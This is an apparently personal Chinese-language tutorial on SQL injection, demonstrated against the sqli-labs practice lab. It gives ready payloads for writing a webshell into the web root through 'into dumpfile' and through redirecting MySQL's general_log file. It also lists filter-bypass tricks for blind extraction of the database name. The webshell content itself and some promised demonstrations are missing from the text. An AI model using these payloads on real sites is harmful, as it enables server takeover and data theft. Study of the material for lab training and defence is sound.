不知不觉就一月三十日了,感觉摆着摆着就要开学了 ,开学的你belike:
sql注入其实是可以getshell的 下面我们就来看一下它的两种类型
要能实现这个getshell,需要满足以下条件
于是我们就拿sqli的第二关为例
我们这样构造poc
union select "",2,3 into dumpfile "D:\\phpstudy_pro\\WWW\\1.php" --+
这句poc实现了将,2,3写入到了1.php中 ,我们可以访问得到
首先,你要先进行以下操作
show variables like '%general%';
set global general_log = on;
set global general_log_file = 'D:\\phpstudy_pro\\WWW\\shell.php';
这三行代码的目的就是将数据库的日志开启 (当我们搜索的时候就会记录我们搜索的东西)
构造poc,然后去vscode查看,就能够看见植入的木马
id=1 --+
于是就可以直接访问这个文件,就能getshell
其实主要的话还是路径难知道一些,其他的话也还好
当等号被过滤的时候 我们可以尝试
不等于: <> 小于号 大于号 in() between_and
rlike regexp 比如当我们 想要爆出数据库名字的时候 可以
select * from users where id=1 and database() rlike 's.';
通过返回值进行判断
还有因为between_and是闭区间函数,那么就有这样的poc
and substr(database(),1,1) BETWEEN 't' and 't'
过滤这个函数的话可能就会麻烦一点,这里有三个函数平替,以及两个好用的函数
首先就是locate 不过这个用起来就会麻烦很多
那么我们就可以这样构造poc,还是拿sqli的第二关举例
1+and+locate('*',database(),*)=*
这样就是同时枚举三个数,当后面两个数相等,而且返回值正常的时候这个数据就对了
当然了,这样子枚举的话时间会很久,所以我只枚举了数据库的前六位(偷懒)
然后就是 instr 和 position函数,因为他们都是返回第一次出现的位置,或者1,0 但是现实生活中的数据库中重复的字母有很多 ,所以意义不大
lpad && rpad
这两个是填充函数,可以分为以下两种用法
select lpad(database(),25,'#');
可以看见它返回的除了#以外就是我们的数据库的名字了
2. 当我们要盲注的时候,就可以这样写poc
select lpad(database(),*,'#')='*';
然后去枚举两个*号处 其返回值是1或者0
当,号被过滤的时候,我们可以
1.%2c 这个就是,的url编码,是一种绕过的方式
2.from_to 你会发现这个其实也是有逗号的作用,我来演示一下
从这个例子2就可以看出 from后面接的是前面字符串的起始位置,for后面是步长
当这两个被过滤的时候 我们可以尝试使用 || 或者 &&
还有一种方法就是用like这个关键字 某种意义上来说它也是一个=号
发现了,当后端代码正则匹配像user()这样的东西的时候 我们就可以 这样
user () user/**/() 这些最后都是会被sql理解成 user()的
最后一个就是 内联注释 /*!poc*/
这个就强大在它可以返回很多信息
其中的10000是当前最小版本号,那我们直接写个最小就不用管他了
以上就是关于sql注入的一些知识以及bypass了